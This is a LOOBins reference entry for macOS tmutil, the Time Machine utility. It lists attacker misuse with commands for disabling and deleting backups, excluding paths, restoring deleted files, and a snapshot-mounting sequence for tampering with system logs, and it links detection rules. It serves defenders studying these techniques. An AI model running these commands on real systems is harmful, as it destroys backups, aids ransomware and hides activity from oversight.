# tmutil

> Manage Time Machine backups.

A tool for managing Time Machine, the native macOS backup utility.

- Page: https://loobins.io/binaries/tmutil/
- Author: Brendan Chamberlain (@infosecB)
- Created: 2023-05-01
- Tactics: Privilege Escalation, Defense Evasion, Collection, Impact

## Paths

- `/usr/bin/tmutil`

## Example Use Cases

### Disable Time Machine

The following command disables Time Machine. An attacker can use this to prevent backups from occurring.

```bash
tmutil disable
```

- Tactics: Impact
- Tags: backup

### Delete a backup

The following command deletes the specified backup. An adversary may perform this action before launching a ransomware attack to prevent the victim from restoring their files.

```bash
tmutil delete /path/to/backup
```

- Tactics: Impact
- Tags: delete

### Restore a backup

The following command restore the specified backup. An attacker can use this to restore a backup of a sensitive file that was deleted.

```bash
tmutil restore /path/to/backup
```

- Tactics: Collection
- Tags: restore

### Tamper with system logs

An adversary can use the snapshot and restore commands together to tamper with system logs. This is fixed in macOS 10.15.4+.

```bash
mkdir /tmp/snapshot
tmutil localsnapshot
tmutil listlocalsnapshots /
mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-01-090000.local /System/Volumes/Data /tmp/snapshot
open /tmp/snapshot
sudo vim /var/log/system.log
tmutil restore com.apple.TimeMachine.2023-05-01-090000.local
```

- Tactics: Privilege Escalation
- Tags: unprivileged

### Exclude path from backup

An adversary could exclude a path from Time Machine backups to prevent certain files from being backed up.

```bash
tmutil addexclusion /path/to/exclude
```

- Tactics: Defense Evasion
- Tags: backup

## Detections

- [Jamf Protect: Detect the deletion of localsnapshots](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/tmutil_activity)
- [Sigma: Time Machine Backup Deletion Attempt Via Tmutil - MacOS](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_delete_backup.yml)
- [Sigma: Time Machine Backup Disabled Via Tmutil - MacOS](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_disable_backup.yml)
- [Sigma: New File Exclusion Added To Time Machine Via Tmutil - MacOS](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_tmutil_exclude_file_from_backup.yml)

## Resources

- [mount_apfs TCC bypass and privilege escalation](https://theevilbit.github.io/posts/cve_2020_9771/)
- [Manage Time Machine backups](https://github.molgen.mpg.de/pages/bs/macOSnotes/mac/mac_files_tmutil.html)
- [Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - tmutil](https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-0fd)